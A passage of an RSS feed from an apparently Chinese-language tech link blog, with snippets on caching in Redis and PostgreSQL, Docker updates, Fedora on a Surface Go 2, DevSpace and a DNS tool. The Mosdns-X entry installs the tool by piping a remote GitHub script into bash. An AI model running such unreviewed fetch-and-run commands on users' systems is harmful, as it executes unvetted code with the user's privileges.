&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-javascript" data-lang="javascript">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">await&lt;/span> &lt;span style="color:#a6e22e">redis&lt;/span>.&lt;span style="color:#a6e22e">set&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;session:abc123&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">JSON&lt;/span>.&lt;span style="color:#a6e22e">stringify&lt;/span>(&lt;span style="color:#a6e22e">sessionData&lt;/span>), &lt;span style="color:#e6db74">&amp;#34;EX&amp;#34;&lt;/span>, &lt;span style="color:#ae81ff">3600&lt;/span>);
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;strong>&lt;em>PostgreSQL&lt;/em>&lt;/strong>&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sql" data-lang="sql">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">CREATE&lt;/span> UNLOGGED &lt;span style="color:#66d9ef">TABLE&lt;/span> &lt;span style="color:#66d9ef">cache&lt;/span> (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">key&lt;/span> TEXT &lt;span style="color:#66d9ef">PRIMARY&lt;/span> &lt;span style="color:#66d9ef">KEY&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> value JSONB &lt;span style="color:#66d9ef">NOT&lt;/span> &lt;span style="color:#66d9ef">NULL&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> expires_at TIMESTAMPTZ &lt;span style="color:#66d9ef">NOT&lt;/span> &lt;span style="color:#66d9ef">NULL&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">CREATE&lt;/span> &lt;span style="color:#66d9ef">INDEX&lt;/span> idx_cache_expires &lt;span style="color:#66d9ef">ON&lt;/span> &lt;span style="color:#66d9ef">cache&lt;/span>(expires_at);
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;strong>Insert&lt;/strong>&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sql" data-lang="sql">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">INSERT&lt;/span> &lt;span style="color:#66d9ef">INTO&lt;/span> &lt;span style="color:#66d9ef">cache&lt;/span> (&lt;span style="color:#66d9ef">key&lt;/span>, value, expires_at)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">VALUES&lt;/span> (&lt;span style="color:#960050;background-color:#1e0010">$&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>, &lt;span style="color:#960050;background-color:#1e0010">$&lt;/span>&lt;span style="color:#ae81ff">2&lt;/span>, NOW() &lt;span style="color:#f92672">+&lt;/span> INTERVAL &lt;span style="color:#e6db74">&amp;#39;1 hour&amp;#39;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">ON&lt;/span> CONFLICT (&lt;span style="color:#66d9ef">key&lt;/span>) &lt;span style="color:#66d9ef">DO&lt;/span> &lt;span style="color:#66d9ef">UPDATE&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">SET&lt;/span> value &lt;span style="color:#f92672">=&lt;/span> EXCLUDED.value,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> expires_at &lt;span style="color:#f92672">=&lt;/span> EXCLUDED.expires_at;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;strong>Read&lt;/strong>&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sql" data-lang="sql">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">SELECT&lt;/span> value &lt;span style="color:#66d9ef">FROM&lt;/span> &lt;span style="color:#66d9ef">cache&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">WHERE&lt;/span> &lt;span style="color:#66d9ef">key&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#960050;background-color:#1e0010">$&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span> &lt;span style="color:#66d9ef">AND&lt;/span> expires_at &lt;span style="color:#f92672">&amp;gt;&lt;/span> NOW();
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;strong>Cleanup (run periodically)&lt;/strong>&lt;/p></description></item><item><title>臺灣台語輸入法 App 上架，即日起行動裝置也能輸入臺灣台語</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2026/20260115-input-method/</link><pubDate>Thu, 15 Jan 2026 21:10:20 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2026/20260115-input-method/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.edu.tw/News_Content.aspx?n=9E7AC85F1954DDA8&amp;amp;s=43F7E1DC99DDAE7B" target="_blank" rel="noopener">臺灣台語輸入法 App 上架，即日起行動裝置也能輸入臺灣台語&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://apps.apple.com/tw/app/%E6%95%99%E8%82%B2%E9%83%A8%E8%87%BA%E7%81%A3%E5%8F%B0%E8%AA%9E%E8%BC%B8%E5%85%A5%E6%B3%95/id6743423554" target="_blank" rel="noopener">教育部臺灣台語輸入法 - iOS&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://play.google.com/store/apps/details?id=tw.moe.taiwanese.taigi&amp;amp;hl=zh_TW&amp;amp;pli=1" target="_blank" rel="noopener">教育部臺灣台語輸入法 - Android&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>「臺灣台語輸入法」除了支援拼音輸入，也提供語音輸入功能，讓使用者能透過語音轉換成文字。&lt;/p></description></item><item><title>WebAssembly 發生了什麼事</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2026/20260111-what-happened-to-webassembly/</link><pubDate>Sun, 11 Jan 2026 15:22:11 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2026/20260111-what-happened-to-webassembly/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://emnudge.dev/blog/what-happened-to-webassembly/" target="_blank" rel="noopener">WebAssembly 發生了什麼事&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/EmNudge/watlings/" target="_blank" rel="noopener">Watlings&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>用 WUD 取代 Watchtower：打造可控的 Docker 自動更新方案</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2026/20260111-wud/</link><pubDate>Sun, 11 Jan 2026 15:22:11 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2026/20260111-wud/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://blog.ibytebox.com/archives/TKFPS2tq" target="_blank" rel="noopener">用 WUD 取代 Watchtower：打造可控的 Docker 自動更新方案&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>WUD（What&amp;rsquo;s Up Docker）&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-yaml" data-lang="yaml">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">services&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">wud&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">image&lt;/span>: &lt;span style="color:#ae81ff">getwud/wud:latest&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">container_name&lt;/span>: &lt;span style="color:#ae81ff">wud&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">restart&lt;/span>: &lt;span style="color:#ae81ff">unless-stopped&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">ports&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#e6db74">&amp;#34;3000:3000&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">volumes&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#ae81ff">/var/run/docker.sock:/var/run/docker.sock&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#ae81ff">./store:/store&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">environment&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#ae81ff">TZ=Asia/Shanghai&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># 本机 Docker watcher&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#ae81ff">WUD_WATCHER_LOCAL_SOCKET=/var/run/docker.sock&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># 关键：默认不监控任何容器&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#ae81ff">WUD_WATCHER_LOCAL_WATCHBYDEFAULT=false&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># 每 12 小时扫描一次&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#ae81ff">WUD_WATCHER_LOCAL_CRON=0 */12 * * *&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># 自动更新 + 更新后清理旧镜像&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#ae81ff">WUD_TRIGGER_DOCKER_AUTO_PRUNE=true&lt;/span> &lt;span style="color:#75715e"># 效果等同于 `watchtower --cleanup`&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h4 id="只監控不自動更新">只監控（不自動更新）&lt;/h4>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-yaml" data-lang="yaml">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">labels&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#e6db74">&amp;#34;wud.watch=true&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>會出現在 WUD UI&lt;/li>
&lt;li>會提示有更新&lt;/li>
&lt;li>不會自動重啟&lt;/li>
&lt;/ul>
&lt;h4 id="監控--自動更新等同-watchtower">監控 + 自動更新（等同 Watchtower）&lt;/h4>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-yaml" data-lang="yaml">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">labels&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#e6db74">&amp;#34;wud.watch=true&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#e6db74">&amp;#34;wud.trigger.include=docker.auto&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>終端機如何運作</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2026/20260109-how-terminals-work/</link><pubDate>Fri, 09 Jan 2026 16:11:33 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2026/20260109-how-terminals-work/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://how-terminals-work.vercel.app/" target="_blank" rel="noopener">終端機如何運作&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>每位程式設計師都該知道的 Python 數字</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2026/20260104-python-numbers-every-programmer-should-know/</link><pubDate>Sun, 04 Jan 2026 07:06:28 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2026/20260104-python-numbers-every-programmer-should-know/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://mkennedy.codes/posts/python-numbers-every-programmer-should-know/" target="_blank" rel="noopener">每位程式設計師都該知道的 Python 數字&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>為什麼它正在執行？</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20251230-witr/</link><pubDate>Tue, 30 Dec 2025 11:33:23 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20251230-witr/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://github.com/pranshuparmar/witr" target="_blank" rel="noopener">為什麼它正在執行？&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>用公開 URL 將本機 Web 伺服器暴露到網際網路。</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20251227-tunnelto/</link><pubDate>Sat, 27 Dec 2025 15:24:41 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20251227-tunnelto/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://github.com/agrinman/tunnelto" target="_blank" rel="noopener">用公開 URL 將本機 Web 伺服器暴露到網際網路。&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>Rainman 工程體系八問：面試時如何識別卓越工程文化</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20251222-rainman-eng-culture/</link><pubDate>Mon, 22 Dec 2025 08:40:00 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20251222-rainman-eng-culture/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://deusyu.app/posts/rainman-eng-culture/" target="_blank" rel="noopener">Rainman 工程體系八問：面試時如何識別卓越工程文化&lt;/a>&lt;/li>
&lt;/ul>
&lt;ol>
&lt;li>CI/CD 工具：用的是鼓勵協作的 GitLab/GitHub，還是層層設卡的 Gerrit/Jenkins？&lt;/li>
&lt;li>審批流程：一個合併請求（MR）要幾層老闆簽字才能通過？&lt;/li>
&lt;li>環境隔離：有獨立的 Dev/Test/Prod 環境嗎？能否一鍵切換與部署？&lt;/li>
&lt;li>部署鏈路：從程式碼寫完到使用者可見，需要幾步？是自動化還是手動化？&lt;/li>
&lt;li>監控體系：告警能直接指出問題根因，還是全靠工程師半夜人肉翻日誌？&lt;/li>
&lt;li>配置管理：是支援灰度發布的集中化管理，還是散落在程式碼各處靠人工修改？&lt;/li>
&lt;li>測試覆蓋：有可靠的自動化測試「免疫系統」，還是把 bug 當 feature，讓線上使用者幫你測？&lt;/li>
&lt;li>回滾機制：線上服務「炸了」，是 5 分鐘內能從容回滾，還是需要全組通宵「陪葬」？&lt;/li>
&lt;/ol></description></item><item><title>快速且強大的日誌檢視與處理器，能把 JSON logs 或 logfmt logs 轉成清楚易讀的格式。</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20251214-high-performance-log-viewer/</link><pubDate>Sun, 14 Dec 2025 21:06:20 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20251214-high-performance-log-viewer/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://github.com/pamburus/hl" target="_blank" rel="noopener">快速且強大的日誌檢視與處理器，能把 JSON logs 或 logfmt logs 轉成清楚易讀的格式。&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>把你的程式碼庫轉成單一的 LLM 提示詞。</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20251211-convert-your-codebase-into-a-single-llm-prompt/</link><pubDate>Thu, 11 Dec 2025 13:16:46 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20251211-convert-your-codebase-into-a-single-llm-prompt/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://github.com/mufeedvh/code2prompt" target="_blank" rel="noopener">把你的程式碼庫轉成單一的 LLM 提示詞。&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>如何在Surface Go 2安裝Fedora Linux，提昇低階平板效能</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20251211-install-linux-on-surface-go-2/</link><pubDate>Thu, 11 Dec 2025 10:18:47 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20251211-install-linux-on-surface-go-2/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://ivonblog.com/posts/install-linux-on-surface-go-2/" target="_blank" rel="noopener">如何在 Surface Go 2 安裝 Fedora Linux，提昇低階平板效能&lt;/a>
&lt;blockquote>
&lt;p>Surface Go 2 (Intel Pentium 4425Y，4G/64G) Wifi 版&lt;/p>
&lt;p>關於 Surface Go 2 的硬體支援程度，參閱 Github 的這個表格：&lt;a href="https://github.com/linux-surface/linux-surface/wiki/Supported-Devices-and-Features#feature-matrix" target="_blank" rel="noopener">Supported Devices and Features&lt;/a>&lt;/p>&lt;/blockquote>
&lt;/li>
&lt;/ul>
&lt;h3 id="製作-linux-開機碟">製作 Linux 開機碟&lt;/h3>
&lt;ul>
&lt;li>到 &lt;a href="https://www.fedoraproject.org/kde/" target="_blank" rel="noopener">Fedora KDE&lt;/a> 官網下載 ISO&lt;/li>
&lt;li>然後用 &lt;a href="https://ivonblog.com/posts/ventoy-linux-installation/" target="_blank" rel="noopener">Ventoy&lt;/a> 製作開機碟。&lt;/li>
&lt;li>因為 Surface Go 2 的連接埠只有 Type-C，你可能要準備擴充基座。它不能夠從 SD 卡開機。&lt;/li>
&lt;/ul>
&lt;h3 id="安裝-linux">安裝 Linux&lt;/h3>
&lt;ul>
&lt;li>將 Surface Go 2 關機。&lt;/li>
&lt;li>長按開機鍵與音量上鍵，進入 UEFI。這個界面是可以觸控的，不用接上鍵盤，但之後安裝 Linux 可能還是需要使用實體鍵盤操作。&lt;/li>
&lt;li>雖然 Fedora 支援 Secure Boot，還是建議關閉 Secure Boot，免得安裝驅動需要手動簽名。&lt;/li>
&lt;li>將開機順序設定為隨身碟&lt;/li>
&lt;li>開機，依照畫面指示安裝。選擇清除整個磁碟，安裝 Fedora。&lt;/li>
&lt;li>關於中文輸入法，請安裝 Fcitx5
&lt;ul>
&lt;li>&lt;code>sudo dnf install fcitx5 fcitx5-chewing fcitx5-gtk3 fcitx5-gtk4 fcitx5-qt fcitx5-qt6 fcitx5-configtool&lt;/code>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>小技巧：Fedora 預設啟用 zRAM，如果 Surface Go 的 RAM 太小，編輯 &lt;code>/etc/systemd/zram-generator.conf&lt;/code> 提高 SWAP 數值，增加可用的 RAM，單位為 MB。
&lt;ul>
&lt;li>&lt;code>[zram0]&lt;/code>&lt;/li>
&lt;li>&lt;code>zram-size = 8192&lt;/code>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="加裝-linux-surface-核心">加裝 linux-surface 核心&lt;/h3>
&lt;ul>
&lt;li>依照 &lt;a href="https://github.com/linux-surface/linux-surface/wiki/Installation-and-Setup" target="_blank" rel="noopener">Github&lt;/a> 指示安裝。Fedora 的作法是新增 linux-surface 團隊經營的套件庫到系統
&lt;ul>
&lt;li>&lt;code>sudo dnf config-manager addrepo --from-repofile=https://pkg.surfacelinux.com/fedora/linux-surface.repo&lt;/code>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>安裝 linux-surface 核心，重開機
&lt;ul>
&lt;li>&lt;code>sudo dnf install --allowerasing kernel-surface iptsd libwacom-surface&lt;/code>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;code>uname -a&lt;/code> 確認目前的核心是否切換成功，應該會顯示 &lt;code>linux-surface&lt;/code>&lt;/li>
&lt;li>由於 Fedora 系統核心更新頻率比較高，新版核心可能會覆蓋 linux-surface 的核心。故安裝 linux-surface 套件之後會自動啟用 &lt;code>linux-surface-default-watchdog.path&lt;/code> 服務，確保開機啟動的都是 linux-surface 核心。&lt;/li>
&lt;/ul>
&lt;h3 id="kde-桌面的虛擬鍵盤使用方式">KDE 桌面的虛擬鍵盤使用方式&lt;/h3>
&lt;p>在系統設定 → 鍵盤 → 虛擬鍵盤啟用。需要注意的是這個鍵盤無法跟 Fcitx5 一起使用。&lt;/p></description></item><item><title>VsCode 整合 DevSpace 進行 debug !</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20251210-10377156/</link><pubDate>Wed, 10 Dec 2025 15:16:12 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20251210-10377156/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://ithelp.ithome.com.tw/articles/10377156" target="_blank" rel="noopener">VsCode 整合 DevSpace 進行 debug !&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/devspace-sh/devspace" target="_blank" rel="noopener">DevSpace&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="安裝必要工具-">安裝必要工具 📦&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 確認 Go 版本&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>go version
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 安裝 Delve 除錯器&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>go install github.com/go-delve/delve/cmd/dlv@latest
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 確認 DevSpace 版本&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>devspace version
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 安裝 VSCode Go 擴充功能&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>code --install-extension golang.go
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>code --install-extension devspace.devspace
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="專案結構設計-">專案結構設計 📁&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>├── cmd
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>│ └── main.go
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>├── devspace.yaml
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>├── Dockerfile.dev
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>├── Dockerfile.prod
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>├── go.mod
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>├── go.sum
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>├── internal
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>│ ├── handler.go
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>│ ├── model.go
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>│ └── service.go
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>├── k8s
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>│ └── dev
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>│ ├── deployment.yaml
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>│ └── service.yaml
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>├── main
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>└── start-dev.sh
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h4 id="準備-go-應用程式-">準備 Go 應用程式 🚀&lt;/h4>
&lt;p>首先，讓我們建立一個簡單但實用的 Go 應用程式，包含幾個 API 端點方便我們測試 Break Points&lt;/p></description></item><item><title>使用 Fail2Ban + nftables 強化伺服器</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20251208-fail2ban/</link><pubDate>Mon, 08 Dec 2025 16:45:51 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20251208-fail2ban/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://tao.zz.ac/homelab/fail2ban.html" target="_blank" rel="noopener">使用 Fail2Ban + nftables 強化伺服器&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>parqeye</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20251118-parqeye/</link><pubDate>Tue, 18 Nov 2025 20:49:44 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20251118-parqeye/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://github.com/kaushiksrini/parqeye" target="_blank" rel="noopener">parqeye&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="安裝方式">安裝方式&lt;/h3>
&lt;ul>
&lt;li>&lt;code>cargo install parqeye&lt;/code>&lt;/li>
&lt;li>&lt;code>brew install kaushiksrini/parqeye/parqeye&lt;/code>&lt;/li>
&lt;/ul></description></item><item><title>Mosdns-X</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20251109-mosdns-x/</link><pubDate>Sun, 09 Nov 2025 20:32:00 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2025/20251109-mosdns-x/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://github.com/pmkol/mosdns-x" target="_blank" rel="noopener">Mosdns-X&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://blog.ibytebox.com/archives/OxpX7FQ1" target="_blank" rel="noopener">讓 Linux 系統的 DNS 更快更乾淨：部署 Mosdns-X&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="安裝">安裝&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>bash &amp;lt;&lt;span style="color:#f92672">(&lt;/span>curl -sL https://raw.githubusercontent.com/lidebyte/bashshell/refs/heads/main/mosdns-x-manager.sh&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="設定">設定&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>sudo tee /etc/mosdns-x/config.yaml &amp;gt; /dev/null &lt;span style="color:#e6db74">&amp;lt;&amp;lt;&amp;#39;EOF&amp;#39;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"># mosdns-x 并发查询（无分流）配置
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74">log:
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> level: info
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> file: /var/log/mosdns-x/mosdns-x.log
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74">plugins:
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> # 缓存插件
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> - tag: cache
